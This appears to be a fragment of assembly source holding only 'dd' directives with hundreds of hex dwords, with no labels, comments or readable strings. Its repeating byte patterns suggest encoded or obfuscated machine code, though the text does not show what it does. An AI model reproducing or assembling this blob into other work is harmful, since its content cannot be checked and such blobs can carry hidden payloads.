		dd 8D1DB899h, 97741F8Ch, 19935FA5h, 9C9C9D94h, 9C9C63F4h
		dd 2819119Ch, 0CC636361h, 8D1EA43Dh, 8923938Ch,	8C8D1E88h
		dd 741F4C9Dh, 9CF4CC95h, 639C9C98h, 9DB93489h, 1922938Ch
		dd 63636128h, 0F424D99Dh, 8C8D0E39h, 635A6F74h,	38191563h
		dd 0F4636361h, 8C8D0E07h, 635A7F74h, 2117CC63h,	63636138h
		dd 252111CBh, 0CB636362h, 0C6B48963h, 19118C91h, 63636225h
		dd 3D9CF6CCh, 8C8D1E98h, 1DA8999Fh, 741F8C8Dh, 8963CC97h
		dd 8C95C690h, 13F45A15h, 748C8D0Eh, 63635A38h, 613C1915h
		dd 19F46363h, 748C8D0Eh, 63635A08h, 1D48A963h, 17CC8C8Dh
		dd 63613C21h, 2111CB63h, 63636225h, 0B48963CBh,	1F8C91C6h
		dd 1911B058h, 63636225h, 3D9DF6CCh, 8C8D1E98h, 0CC9F741Fh
		dd 0C6908963h, 5A158C95h, 8D1D783Dh, 99741F8Ch,	93E96CA5h
		dd 8D1EAC3Dh, 98741F8Ch
		dd 0FC8963CCh, 938C8DC6h, 1DBC9923h, 89178C8Dh,	8C8D1C24h
		dd 688CD811h, 8963CACCh, 8C91C6BCh, 50992393h, 9F8C8D1Dh
		dd 8D1C3499h, 99741F8Ch, 0CC24D99Fh, 0C5688963h, 0D43D8C95h
		dd 9F8C8D1Dh, 8D1EB099h, 94741F8Ch, 48963CCh, 158C9DB9h
		dd 63622819h, 942E7463h, 783D9C9Ch, 1F8C8D1Dh, 0D9159974h
		dd 0EE7F458h, 45748C8Dh, 15636359h, 843D7CD9h, 9F8C8D1Eh
		dd 8D1C4099h, 94741F8Ch, 3D48D915h, 8C8D1C0Ch, 54D915D4h
		dd 9944D95Bh, 939C9C9Ch, 1E889923h, 741F8C8Dh, 4CD9159Fh
		dd 9F20D95Bh, 3D9C9C9Ch, 8C8D1EACh, 1599741Fh, 191740D9h
		dd 63636228h, 1150D915h, 9CB0AF99h, 5CD9158Ch, 0CC20D911h
		dd 0BC0C8963h, 0E1178C9Dh, 9B22937Ch, 28112293h, 5636361h
		dd 1915656Bh, 63636134h, 8D0EEDF4h, 59C6748Ch, 19156363h
		dd 63636100h, 8D0EFBF4h, 59D6748Ch, 0A1176363h,	8C8D1DA8h
		dd 0CB94731Fh, 62282963h, 0A1176363h, 8C8D1D68h, 0CB99731Fh
		dd 0E8A12393h, 0D38C8D1Eh, 0C8A117CBh, 1F8C8D1Dh, 93CB9B73h
		dd 1EB8A123h, 23938C8Dh, 8D1EFC89h, 1F4B9D8Ch, 93CB9773h
		dd 1D20A123h, 66158C8Dh, 0CE99761Fh, 1D28A19Fh,	731F8C8Dh
		dd 9CF4CB9Ah, 0CC9C569Ch, 61002117h, 93CB6363h,	1DC0A123h
		dd 731F8C8Dh, 8963CB9Fh, 8C95D6A0h, 9DB95C3Fh, 2C19118Ch
		dd 0CC636361h, 62282963h, 92746363h, 159C9CE1h,	63613019h
		dd 0C69C3F63h, 19178C95h, 6363612Ch, 9DB9583Fh,	749CF68Ch
		dd 9C9C8845h, 3D80581Fh, 8C8D1C24h, 0A594741Fh,	7480E95Fh
		dd 9C9CCA67h, 44992393h, 9F8C8D1Ch, 8D1DAC99h, 90741F8Ch
		dd 91C6B03Fh, 3D89778Ch, 8C8D1C5Ch, 9CA60899h, 0A4999F9Ch
		dd 3F8C8D1Dh, 8C91C6B0h, 9CA7C9F4h, 59D1748Ch, 3DC56363h
		dd 8C8D1DE8h, 0F4892393h, 9D8C8D1Dh, 99741F4Ch,	0B3E944A5h
		dd 9CAE1074h, 0E5F2749Ch, 2E749C9Ch, 749C9CDFh,	63632620h
		dd 9CDE9774h, 1188779Ch, 63CC78D9h, 8DC09C89h, 78D9118Ch
		dd 848963CCh, 3D8C9D9Ch, 8C8D1C4Ch, 1EB0999Fh, 741F8C8Dh
		dd 43DCC99h, 938C8D1Ch,	1D8C8923h, 4C9D8C8Dh, 0CC9F741Fh
		dd 0BC992393h, 9F8C8D1Dh, 8D1C4099h, 96741F8Ch,	78D911CCh
		dd 0D48963CCh, 958C95AAh, 0C330E95Ch, 5E55C7C2h, 15C99C98h
		dd 90701F79h, 0E917CBCAh, 94D91790h, 6A6B4EADh,	88A12393h
		dd 9F8C8D1Eh, 8D1DA0A1h, 90731F8Ch, 99E966A5h, 7794D917h
		dd 94D91786h, 6A6B4EADh, 1564D915h, 157A6B5Bh, 5B1568D9h
		dd 0E1156B9Dh, 0C3641560h, 0C95F55C2h, 0CBCA7915h, 1794E117h
		dd 6C1590E9h, 158CD9BFh, 0BF4E6B6Eh, 4C9588C9h,	9FBCD99Fh
		dd 649D84D9h, 0E9635B15h, 2974CB80h, 1F9C9CABh,	6B159458h
		dd 64155B9Dh, 5FC1C2C3h, 0CF7915C9h, 0E117CBCAh, 8CE91790h
		dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h,	8D06B8F4h
		dd 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0578F4h, 8963CB8Ch
		dd 8C91C6A0h, 8CE85C95h, 1594D917h, 17AA639Ah, 98CF6384h
		dd 84775CADh, 8D1C403Dh, 8923938Ch, 8C8D1EB8h, 741F4C9Dh
		dd 249A1595h, 1C9CDC9Eh, 0C1C7C2C3h, 249C905Eh,	1C9CDC9Dh
		dd 0CB9C8C5Eh, 8D0EC0F4h, 5E56748Ch, 0CCC56363h, 0B9048963h
		dd 83F8C9Dh, 3D8C8D1Eh,	8C8D1DE4h, 0A59F741Fh, 8D1E0899h
		dd 0F48BE98Ch, 8C8D0ECDh, 635E3F74h, 63CCC563h,	99AF8489h
		dd 1E083F8Ch, 83D8C8Dh,	0A58C8D1Eh, 8D1D3C99h, 0F481E88Ch
		dd 8C8D0EA7h, 635EE374h, 63CCC563h, 8D1E08A9h, 3089638Ch
		dd 3F8C9DBDh, 8C9DB928h, 15C95FC3h, 30701D79h, 0CF9C9C9Dh
		dd 0E117CBCAh, 0F1195B94h, 8636362h, 119C9C9Ch,	6362F119h
		dd 8963CC63h, 8C8DECB4h, 8D1C283Dh, 9F741F8Ch, 0C49B985Ah
		dd 8D1E803Dh, 9B985A8Ch, 1ED83DA5h, 999F8C8Dh, 8C8D1DF0h
		dd 9392741Fh, 1C3C8923h, 23938C8Dh, 8D1D5891h, 1F569D8Ch
		dd 88149276h, 0E1211F9Bh, 9E636362h, 843DBDE9h,	1F8C8D1Dh
		dd 985A9474h, 6C3DC89Bh, 938C8D1Dh, 1C2C8923h, 4C9D8C8Dh
		dd 5A96741Fh, 0F4D29B98h, 8C8D0EB3h, 635D4B74h,	0E5296363h
		dd 63636362h, 6362E929h, 0ED296363h, 0CC636362h, 639D0111h
		dd 63CF6363h, 91C6B489h, 9D19118Ch, 0CC636363h,	0B08963CBh
		dd 0F48C9C6Ch, 8C8D0EB4h, 635D0374h, 58811763h,	938C8D1Ch
		dd 1EB88923h, 4F9D8C8Dh, 0CF97771Fh, 98812393h,	9F8C8D1Dh
		dd 8D1D4881h, 92771F8Ch, 0FC0111CFh, 0CF636362h, 62FC0111h
		dd 11CF6363h, 6362F801h, 63F4CF63h, 119C9C9Ch, 63639D01h
		dd 63CCCF63h, 95C69889h, 0EBCF48Ch, 0D5748C8Dh,	6363635Dh
		dd 6362F829h, 111CC63h,	6363639Dh, 0B48963CFh, 118C91C6h
		dd 63639D19h, 63CBCC63h, 9C6CB089h, 9C63F48Ch, 19119C9Ch
		dd 6363639Dh, 1D0C3DCCh, 741F8C8Dh, 9CF4CC9Fh, 639C9C98h
		dd 9DB93489h, 9D19118Ch, 0CC636363h, 0B08963CBh, 0F48C9C6Ch
		dd 8C8D0E87h, 635C7374h, 63CBCC63h, 9C6CB089h, 0F4195B8Ch
		dd 63636362h, 0F49C9C9Ch, 8C8D0D72h, 635C4F74h,	0C4191563h
		dd 0F4636362h, 8C8D0D7Dh, 635C5F74h, 0C0011163h, 0CF636362h
		dd 62F40111h, 11CF6363h, 63639D01h, 17CCCF63h, 6362C401h
		dd 9EF4CF63h, 741C9C9Ch, 9C9C8A15h, 15EC581Fh, 1C383D5Ah
		dd 741F8C8Dh, 0E96CA594h, 9D19118Fh, 0CC636363h, 0B08963CBh
		dd 1F8C9C6Ch, 0F7779458h, 62F4195Bh, 9C636363h,	2DF49C9Ch
		dd 748C8D0Dh, 63635CF8h, 62C81915h, 38F46363h, 748C8D0Dh
		dd 63635CC8h, 62C00111h, 11CF6363h, 6362F401h, 111CF63h
		dd 6363639Dh, 117CCCFh,	636362C8h, 9C9EF4CFh, 86741C9Ch
		dd 1F9C9C8Ah, 5A15BC58h, 8D1E803Dh, 5AA5DC8Ch, 19118DE9h
		dd 6363639Dh, 8963CBCCh, 8C9C6CB0h, 0C394581Fh,	5F55C7C2h
		dd 9CDC9D24h, 9C845E1Ch, 247915C9h, 9C9D9CACh, 9C104774h
		dd 0CBCACF9Ch, 8D1DB83Dh, 38999F8Ch, 1F8C8D1Ch,	99A58E74h
		dd 8C8D1E40h, 23938AE9h, 8D1D1499h, 995C1F8Ch, 0B94C99A5h
		dd 1E938C9Dh, 9C9C9E1Fh, 637C1911h, 63CC6362h, 9C6CD489h
		dd 4C19118Ch, 0CC636263h, 637C1911h, 0F6CC6362h, 99239395h
		dd 8C8D1EDCh, 0E963CCD4h, 0B8896394h, 158C95AFh, 1ED83D5Bh
		dd 741F8C8Dh, 935BA59Bh, 9C9EDE19h, 9923939Ch, 8C8D1EFCh
		dd 1C20999Fh, 741F8C8Dh, 64191595h, 17636263h, 62637429h
		dd 64191163h, 0CC636263h, 8D0638F4h, 8A17CA8Ch,	9C898863h
		dd 159C9C9Ch, 9923935Bh, 8C8D1D1Ch, 0A59E741Fh,	6019935Bh
		dd 119C9C9Dh, 62634019h, 1917CC63h, 63626364h, 638C17CCh
		dd 5B15E4CEh, 8D1EC03Dh, 99741F8Ch, 199364A5h, 9C9C9D4Dh
		dd 9C9D1911h, 63CC6363h, 62634029h, 0F6017463h,	581F9C9Ch
		dd 40296394h, 63636263h, 8DECA889h, 9923938Ch, 8C8D1EB4h
		dd 6199201Ch, 0E8636263h, 2393B3E9h, 8D1C4499h,	99201C8Ch
		dd 63626364h, 3D82E9F4h, 8C8D1D64h, 6199201Ch, 0EC636263h
		dd 983D93E9h, 1C8C8D1Eh, 63639920h, 0E8E86362h,	9DF77599h
		dd 19119C9Ch, 6362636Ch, 641917CCh, 0CC636263h,	0CE638C17h
		dd 3D5B15D4h, 8C8D1C38h, 1D10999Fh, 741F8C8Dh, 9364A595h
		dd 9C9DDC19h, 6019119Ch, 0CC636263h, 8D06A8F4h,	6C19178Ch
		dd 0CC636263h, 88638C17h, 9C9C9C89h, 3D5B159Ch,	8C8D1D10h
		dd 0F4892393h, 9D8C8D1Dh, 98741F4Ch, 19935BA5h,	9C9C9C61h
		dd 63681911h, 17CC6362h
		dd 62636019h, 8C17CC63h, 9D2C0E63h, 5B159C9Ch, 8D1DA43Dh
		dd 4C999F8Ch, 1F8C8D1Dh, 64A59A74h, 9C5F1993h, 19119C9Ch
		dd 63626344h, 681917CCh, 0CC636263h, 0CE638C17h, 935B15ECh
		dd 1DB09923h, 741F8C8Dh, 0E864A599h, 6819178Dh,	0CC636263h
		dd 0CC639C17h, 9C137594h, 47AD9C9Ch, 63441917h,	19A56362h
		dd 63626368h, 47AD9FE8h, 681917DFh, 0CC636263h,	0CC639C17h
		dd 44191794h, 0CC636263h, 0CC639C17h, 48191194h, 0CC636263h
		dd 63601917h, 17CC6362h, 0BCCE638Ch, 23935B15h,	8D1D9899h
		dd 0C999F8Ch, 1F8C8D1Dh, 5BA59774h, 11CFA7E9h, 639C9D19h
		dd 2963CC63h, 63626364h, 63482963h, 29636362h, 63626360h
		dd 9CAF6874h, 88581F9Ch, 89E94795h, 63482963h, 29636362h
		dd 63626360h, 6D8674CAh, 581F6363h, 60191790h, 0CC636263h
		dd 0CC639C17h, 6C191794h, 0CC636263h, 0CC639C17h, 9A17CA94h
		dd 0C394CC63h, 5F55C7C2h, 1C383DCBh, 999F8C8Dh,	8C8D1D0Ch
		dd 3F92741Fh, 8C95C56Ch, 8D1D4C3Dh, 9F5B158Ch, 8D1E84A1h
		dd 9F731F8Ch, 443D8C77h, 1F8C8D1Dh, 98149B74h, 99AD6CA1h
		dd 0A43DDB8Ch, 998C8D1Eh, 9C9C9C6Ah, 7EEE5BA5h,	8D1E843Dh
		dd 8923938Ch, 8C8D1C44h, 58912393h, 118C8D1Dh, 14CC96C8h
		dd 0AD739988h, 6C3D8C99h, 178C95C5h, 8D1D7489h,	4C9DD68Ch
		dd 1DCC8917h, 5E1D8C8Dh, 9C9C9C79h, 6C998814h, 3D8C99ADh
		dd 8C95C56Ch, 1E988917h, 9FDE8C8Dh, 8D1C0C89h, 174C9D8Ch
		dd 8D1ED889h, 0C65E1F8Ch, 6C998814h, 3D8C99ADh,	8C95C56Ch
		dd 1DFC8917h, 5E1D8C8Dh, 9C9C9C7Fh, 6C998814h, 938C99ADh
		dd 1D349923h, 23938C8Dh, 8D1DDC89h, 8CD8118Ch, 6C999D9Ah
		dd 0C38C95C5h, 7915C95Fh, 9E90701Dh, 0CACF9C9Ch, 509374CBh
		dd 89176363h, 8C8D1C5Ch, 0E95EA5D6h, 755CAD9Bh,	9C9C9E90h
		dd 6160195Bh, 9C636363h, 19119C9Ch, 63636160h, 9D1911CCh
		dd 0CC636363h, 0B93C8963h, 0A83D8C9Dh, 9F8C8D1Dh, 8D1EF099h
		dd 1822938Ch, 63626D99h, 89239363h, 8C8D1C78h, 94E94CA5h
		dd 75DC5CADh, 9C9C9D54h, 8D0D06F4h, 276E748Ch, 89176363h
		dd 8C8D1DF8h, 11CCCEDEh, 63639D09h, 0EC74CE63h,	1F9C9CACh
		dd 91178C58h, 8C8D1C5Ch, 63625D1Dh, 54A59C9Ch, 5CAD94E8h
		dd 9D1275DCh, 12F49C9Ch, 748C8D0Dh, 63632724h, 1D6C8917h
		dd 761F8C8Dh, 11CCCE94h, 63639D09h, 0A874CE63h,	1F9C9CACh
		dd 91178C58h, 8C8D1D44h, 63645D1Dh, 5DA59C9Ch, 5CAD94E8h
		dd 9DCE75DCh, 195B9C9Ch, 63636164h, 9C9C9C63h, 61641911h
		dd 11CC6363h, 63629E19h, 8963CC63h, 8C9C6CDCh, 8D0D15F4h
		dd 27C2748Ch, 11CC6363h, 63629E09h, 8963CE63h, 8C9C6CB0h
		dd 8D1D243Dh, 9A741F8Ch, 9D1911CCh, 0CC636363h,	629E1911h
		dd 74CC6363h, 9C9CB35Bh, 1784581Fh, 8D1DF089h, 6A5E1D8Ch
		dd 0A59C9C63h, 0AD94E84Ch, 7975DC5Ch, 639C9C9Ch, 95C68089h
		dd 0AD5A158Ch, 3D6B1547h, 8C8D1D7Ch, 9395741Fh,	939B982Ah
		dd 1C6C8923h, 761F8C8Dh, 934CA59Fh, 9C9C3518h, 1F65159Ch
		dd 1CDC6354h, 0E99C9DA0h, 68191565h, 0F4636361h, 8C8D0DE3h
		dd 63264F74h, 98581F63h, 1DC4A963h, 0CBCC8C8Dh,	9CB3CA74h
		dd 90581F9Ch, 23935E15h, 8D1DF491h, 9923938Ch, 8C8D1DC0h
		dd 649D1011h, 0A59C9C63h, 279BE84Dh, 9C9C9C9Dh,	0F2F4C477h
		dd 748C8D0Dh, 63632608h, 1EB0A963h, 0CBCC8C8Dh,	9CB38674h
		dd 8C581F9Ch, 23935E15h, 8D1EB491h, 1D4C3D8Ch, 10118C8Dh
		dd 9C636A9Dh, 0E856A59Ch, 0DF47AD99h, 1917BC77h, 63636168h
		dd 1C688917h, 899F8C8Dh, 8C8D1E98h, 9D98761Fh, 9D5B1566h
		dd 63A5754Bh, 63CA6363h, 95D6D889h, 0E847958Ch,	0DC5CAD99h
		dd 5CAD9E77h, 55C7C2C3h, 0DC9D245Fh, 945E1C9Ch,	0C3F4CB9Ch
		dd 748C8D0Dh, 63632680h, 8963CCC5h, 8C9DB904h, 8D1E383Fh
		dd 1DA83D8Ch, 741F8C8Dh, 3899A594h, 0E98C8D1Eh,	0DCCF48Bh
		dd 69748C8Dh, 0C5636325h, 848963CCh, 3F8C99AFh,	8C8D1E38h
		dd 8D0DA4F4h, 2542748Ch, 0CCC56363h, 1E38A963h,	89638C8Dh
		dd 8C9DBD30h, 9D93583Fh, 0C95FC38Ch, 701D7915h,	9C9C9C0Ch
		dd 11CBCACFh, 8DC75C99h, 0E419158Ch, 93636363h,	1EB49923h
		dd 23938C8Dh, 8D1D2089h, 9D5F158Ch, 97771F4Fh, 89179377h
		dd 8C8D1C28h, 0FA98761Fh, 5CC1C815h, 992393DFh,	8C8D1DDCh
		dd 0B4892393h, 118C8D1Eh, 0A5898CD8h, 9347EE5Fh, 1E8C9923h
		dd 5A158C8Dh, 1D60A99Fh, 721F8C8Dh, 158D779Fh, 177E4D6Eh
		dd 17FA90D1h, 15FAED90h, 0DA1C89D0h, 8D1D783Dh,	885C1F8Ch
		dd 1D2C999Fh, 5AA58C8Dh, 239341EEh, 8D1E8C99h, 9F741F8Ch
		dd 63E01915h, 29636363h, 636363E0h, 7494E963h, 9C9CE3C9h
		dd 1594581Fh, 6363E819h, 1D883D63h, 0A5D48C8Dh,	6363E819h
		dd 11A7E963h, 11CC1CD9h, 74CC5CD9h, 9C9CEFADh, 63EC1915h
		dd 29636363h, 636363E4h, 0CC5CD911h, 6329E074h,	8C581F63h
		dd 8EE85C95h, 63E42963h, 0D9116363h, 0F274CC5Ch, 1F9C9C18h
		dd 19639458h, 636363E0h, 8D1D843Dh, 8B5C1F8Ch, 8892393h
		dd 1F8C8D1Ch, 3393915Eh, 0E019A55Eh, 0EF636363h, 1CD911DCh
		dd 0BAA074CCh, 19159C9Ch, 636363ECh, 63E42963h,	0D9116363h
		dd 0BE74CC1Ch, 1F636329h, 5C959058h, 63C81893h,	29636363h
		dd 636363E4h, 0CC1CD911h, 9C188C74h, 94581F9Ch,	6363A175h
		dd 0A1239363h, 8C8D1EDCh, 158D77D3h, 177E4D66h,	17FA94D1h
		dd 0FA5C89C8h, 0DBE58815h, 8D1ED03Dh, 8F5C1F8Ch, 0C8892393h
		dd 9D8C8D1Eh, 0EE5BA54Ch, 0C7C2C346h, 15C95F55h, 0CBCFCD79h
		dd 94D92A93h, 9C9C9625h, 5051269Ch, 7E6B5050h, 159F765Dh
		dd 4B1560C9h, 15FD5B1Fh, 94C11467h, 0A094D916h,	0A084E8F5h
		dd 0A088E8F9h, 0A08CE8E9h, 0A090E8E5h, 0A094E8FDh, 0A098E8F3h
		dd 1C98E9F6h, 939D94D9h, 0C394D92Ah, 0C95F55C7h, 63CB7915h
		dd 0A96394E9h, 8C8D1E1Ch, 0BD308963h, 5B158C9Dh, 0C95FC1C3h
		dd 701D7915h, 9C9C9DA0h, 11CBCACFh, 9CC80D99h, 70D9158Ch
		dd 0C80D8911h, 91178C9Ch, 8C8D1E98h, 15915D1Fh,	17744F4Ch
		dd 8D1DE089h, 965E1F8Ch, 0DC912393h, 9D8C8D1Eh,	154D1556h
		dd 157F4F5Fh, 441574C1h, 0D1A41DFAh, 3D88E8C6h,	8C8D1C48h
		dd 9C636D99h, 0F0999F9Ch, 0B58C8D1Eh, 3D7C775Fh, 8C8D1D88h
		dd 9FA95C1Fh, 8D1EAC99h, 9D5A158Ch, 9D9A1742h, 6CD91544h
		dd 0A570D117h, 9385EA54h, 1DC09923h, 23938C8Dh,	8D1EB889h
		dd 8C18118Ch, 9C9C6367h, 3B775FB5h, 156CD917h, 2B9364D9h
		dd 0D9CCA19Ch, 92E89C9Ch, 8D1D283Dh, 6363998Ch,	5FB59C9Ch
		dd 0D9171577h, 1C1C1764h, 159C9C9Ch, 0A03D68D9h, 9F8C8D1Dh
		dd 8D1DB499h, 8C741F8Ch, 7560D915h, 9C9C9DEAh, 9D60D917h
		dd 68D99F44h, 624C1915h, 23936363h, 8D1DB099h, 99741F8Ch
		dd 624C0917h, 9EA76363h, 9DFE1893h, 19179C9Ch, 6363624Ch
		dd 9D90DC17h, 50191544h, 0CC636362h, 62491911h,	74CC6363h
		dd 9C9C1F24h, 0EC992393h, 938C8D1Dh, 1DF48923h,	4C9D8C8Dh
		dd 1599741Fh, 0BE7744D9h, 1644D917h, 62499918h,	0E6A06363h
		dd 0FDA08DE1h, 0D91791E2h, 99181144h, 63636249h, 63BCB41Ch
		dd 0D91744D9h, 18229344h, 63624999h, 0AC891763h, 1F8C8D1Eh
		dd 4CA59976h, 603D5AE9h, 9F8C8D1Dh, 8D1D6C99h, 99201C8Ch
		dd 6363624Dh, 5F1993D0h
		dd 3D9C9C9Ch, 8C8D1C24h, 5299201Ch, 0D9636362h,	9C2C1993h
		dd 89179C9Ch, 8C8D1C40h, 4C89201Ch, 0CE636362h,	9C001993h
		dd 89179C9Ch, 8C8D1E98h, 4489201Ch, 0AF636362h,	9C141993h
		dd 89179C9Ch, 8C8D1C60h, 4F89201Ch, 0D7636362h,	999FE4E9h
		dd 8C8D1EACh, 5399201Ch, 0AE636362h, 1917F4E9h,	6363624Ch
		dd 0CC9F4615h, 5809158Ch, 3D636362h, 8C8D1C48h,	159B741Fh
		dd 63625419h, 54191763h, 15636362h, 58299F5Ah, 17636362h
		dd 992393A2h, 8C8D1D30h, 54892393h, 9D8C8D1Dh, 91741F4Ch
		dd 0A4E864A5h, 0C8EC74CBh, 1FC59C9Ch, 8D1EE0A1h, 0B4E99C8Ch
		dd 8D1DD43Dh, 9F741F8Ch, 6254199Dh, 25776363h, 0D91F8A77h
		dd 0D9178860h, 181C1764h, 0A59C9C9Ch, 1E9360D9h, 636362E4h
		dd 0DC992393h, 1F8C8D1Dh, 99A59974h, 8C8D1EE0h,	9374FCE8h
		dd 749C9CB0h, 9C9CEB8Fh, 9C989274h, 145E159Ch, 23937BC9h
		dd 8D1DF499h, 9E741F8Ch, 7BC92A93h, 0A6E84CA5h,	0CC7CD911h
		dd 8D1C283Dh, 0FC999F8Ch, 1F8C8D1Dh, 11CC9574h,	0F4CC40D9h
		dd 8C9CC80Dh, 8D1D6C3Dh, 95741F8Ch, 1ECC3DCCh, 999F8C8Dh
		dd 8C8D1D24h, 0CC95741Fh, 0ECBC8963h, 0C2C38C8Dh, 0C95F55C7h
		dd 0CCCD7915h, 63CBCACFh, 896394E9h, 8C99AF84h,	583D5F15h
		dd 938C8D1Ch, 1C448923h, 4C9D8C8Dh, 0A58E741Fh,	0F618935Fh
		dd 0F49C9C9Dh, 8C8D0DAFh, 63282374h, 63CFCC63h,	9DBD3089h
		dd 9C983F8Ch, 0B2F48C9Dh, 748C8D0Dh, 63632834h,	0CC94581Fh
		dd 308963CFh, 3F8C9DBDh, 8C9C6C94h, 0C8992393h,	1F8C8D1Eh
		dd 99A79474h, 8C9D9C98h, 9DBF1893h, 23939C9Ch, 8D1D8C99h
		dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 9499A799h, 938C9C6Ch
		dd 9C9D9818h, 0DCA9639Ch, 638C95D6h, 9D9350A9h,	0C0A9638Ch
		dd 638C8DC6h, 9DBD30A9h, 0E0A9638Ch, 118C8D1Eh,	11CC64D9h
		dd 63CC60D9h, 9D9C9889h, 935B158Ch, 1EFC9923h, 64A58C8Dh
		dd 63CF90EFh, 8DF08089h, 9C23758Ch, 23939C9Ch, 8D1DC099h
		dd 1F5A158Ch, 0A117605Ah, 8C8D1DE0h, 7799731Fh,	218817B1h
		dd 8C99AFBCh, 0E964C9A5h, 176215BCh, 88A560C9h,	95C6BC21h
		dd 0CF8EEE8Ch, 0F0808963h, 0E9638C8Dh, 90896394h, 778C9C6Ch
		dd 0A1A7DBE0h, 8C8D1E20h, 383D57EEh, 1F8C8D1Ch,	999F735Ch
		dd 8C8D1DB4h, 0B1E85AA5h, 0CC29A863h, 638C91C6h, 8DF08089h
		dd 94A1178Ch, 158C9C6Ch, 0B57C29A0h, 0E1178C9Dh, 29A01560h
		dd 8C95C6BCh, 0CC298015h, 778C91C6h, 20A117A8h,	178C8D1Eh
		dd 881560C9h, 95C6BC21h, 64C9178Ch, 0BC218815h,	158C99AFh
		dd 0C6CC2180h, 81178C91h, 8C9C6C94h, 7C218015h,	638C9DB5h
		dd 8D1E2099h, 0C7C2C38Ch, 15C95F55h, 0E963CB79h, 0E0A96394h
		dd 638C8D1Eh, 9DBD3089h, 0C35B158Ch, 15C95FC1h,	98701D79h
		dd 0CA9C9C9Dh, 992393CBh, 8C8D1C08h, 0CC9F741Fh, 1D3CA963h
		dd 9FF68C8Dh, 1DF8A963h, 0C43D8C8Dh, 9F8C8D1Dh,	8D1D0C99h
		dd 9B741F8Ch, 9C9CF4CCh, 0ACF41C9Ch, 638C95AFh,	8DF08489h
		dd 3D5B158Ch, 8C8D1D64h, 9F685C1Fh, 8D1DCC99h, 0E964A58Ch
		dd 9CB6249Bh, 0C3779C9Ch, 8D1DE83Dh, 11CCD48Ch,	63626019h
		dd 63F4CC63h, 119C9C9Ch, 63639D19h, 63CBCC63h, 9C6CA889h
		dd 0CB5A158Ch, 0D6D48963h, 0E03D8C95h, 1F8C8D1Dh, 5AA59974h
		dd 0B6249BE9h, 779C9C9Ch, 192A93BEh, 6363639Dh,	1C048917h
		dd 5E1F8C8Dh, 0E14CA583h, 9CB6249Bh, 9B779C9Ch,	9D192A93h
		dd 0C3636363h, 0C95F55C2h, 701F7915h, 0CBCACFB0h, 0FA84D917h
		dd 3D84D915h, 8C8D1C7Ch, 9C9C5E99h, 8923939Ch, 8C8D1D20h
		dd 0D9A54C9Dh, 90199390h, 0FA9C9C9Dh, 9F74D95Bh, 6CD9119Ch
		dd 1F9C3DCCh, 17CC8C8Dh, 80CB63A4h, 3D60D915h, 8C8D1C58h
		dd 1D00999Fh, 741F8C8Dh, 60D9A58Ch, 9C451993h, 0D1639C9Ch
		dd 78D9116Ch, 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch
		dd 1F9CA117h, 17CB8C8Dh, 0BCCB63A3h, 3D60D915h,	8C8D1EC0h
		dd 0A799741Fh, 199360D9h, 9C9C9C3Fh, 0CC7CD911h, 8D0638F4h
		dd 78D9178Ch, 63A417CCh, 9C9CA188h, 0D9159C9Ch,	99239360h
		dd 8C8D1C30h, 1D2C999Fh, 741F8C8Dh, 60D9A592h, 9911F0E9h
		dd 8C8D1E60h, 0CC64D915h, 0CF638417h, 40D91198h, 568F4CCh
		dd 0D9178C8Dh, 0A417CC64h, 9CA18863h, 159C9C9Ch, 239360D9h
		dd 8D1D3099h, 9A741F8Ch, 0E960D9A5h, 48D911BFh,	568F4CCh
		dd 0E9638C8Dh, 7CE96340h, 6355D774h, 8C581F63h,	1744D915h
		dd 17CC40D9h, 94CF6384h, 0CC64D917h, 0CF638417h, 7CD91794h
		dd 638417CCh, 0D91794CFh, 8417CC78h, 0AD94CF63h, 2499775Ch
		dd 1C9E9C9Fh, 55C7C2C3h, 0C99CB85Eh, 701D7915h,	9C9C9D94h
		dd 403DCBCAh, 158C8D1Dh, 0A0A19F5Bh, 1F8C8D1Dh,	0ED779573h
		dd 8D0DBEF4h, 2D8A748Ch, 19156363h, 63636264h, 8D0D84F4h
		dd 2D9A748Ch, 0CCCB6363h, 62642917h, 11CA6363h,	63639D29h
		dd 8963CA63h, 8C91C6B4h, 1184581Fh, 63639D19h, 9CF6CC63h
		dd 8C9C9CF4h, 0A489639Ch, 158C95D6h, 63626019h,	0E85C9563h
		dd 8963CC83h, 8C95D6D4h, 8D1EC43Dh, 945C1F8Ch, 99E964A5h
		dd 77DC5CADh, 9C9E24BFh, 80779C9Ch, 992393DBh, 8C8D1D54h
		dd 1C288917h, 0D8118C8Dh, 5BA5C58Ch, 63EA1E93h,	5CAD6363h
		dd 5F55C2C3h, 1D7915C9h, 9C9D9870h, 1911CB9Ch, 63636260h
		dd 1C683DCCh, 741F8C8Dh, 2393CC9Eh, 8D1D5499h, 8923938Ch
		dd 8C8D1D08h, 741F4C9Dh, 0E963CC92h, 3CA96394h,	638C8D1Dh
		dd 99B69C89h, 3D5B158Ch, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh
		dd 0E964A593h, 0D8FF4B7h, 0A9748C8Dh, 0CC63632Ch, 62602111h
		dd 63CB6363h, 9C6CB089h, 0F69DF68Ch, 601911DFh,	0CC636362h
		dd 9CE59C74h, 84581F9Ch, 0C95F55C3h, 0CFCD7915h, 0E117CBCAh
		dd 90C11794h, 1788E917h, 649D84D9h, 15BCD99Fh, 461560D9h
		dd 0D1176EBDh, 6B6C158Ch, 155DBD4Ch, 1754954Ch,	4B1560C9h
		dd 0E9635B9Dh, 0A974CB80h, 1F9C9CB8h, 5B159458h, 6415439Dh
		dd 55C7C2C3h, 7915C95Fh, 0CFD8701Fh, 0EA74CBCAh, 17636323h
		dd 8D1DE881h, 5C819F8Ch, 0D78C8D1Dh, 8BE944A5h,	8992393h
		dd 158C8D1Dh, 7CA19F5Bh, 1F8C8D1Dh, 0BC759373h,	639C9C9Eh
		dd 99B56889h, 5CD9158Ch, 992393CCh, 8C8D1C78h, 1D84999Fh
		dd 741F8C8Dh, 63F4CC95h, 639C8393h, 8DECB089h, 115A158Ch
		dd 0F6CC60D9h, 8963CAB4h, 8C9DBC1Ch, 23935B15h,	8D1C4499h
		dd 999F8Ch, 1F8C8D1Dh, 5BA58C74h, 9D4D1893h, 81179C9Ch
		dd 8C8D1D40h, 1D188917h, 761F8C8Dh, 1C81594h, 20D9113Ch
		dd 11B4F6CCh, 3DCC58D9h, 8C8D1DE0h, 9F9B5C1Fh, 8D1DF099h
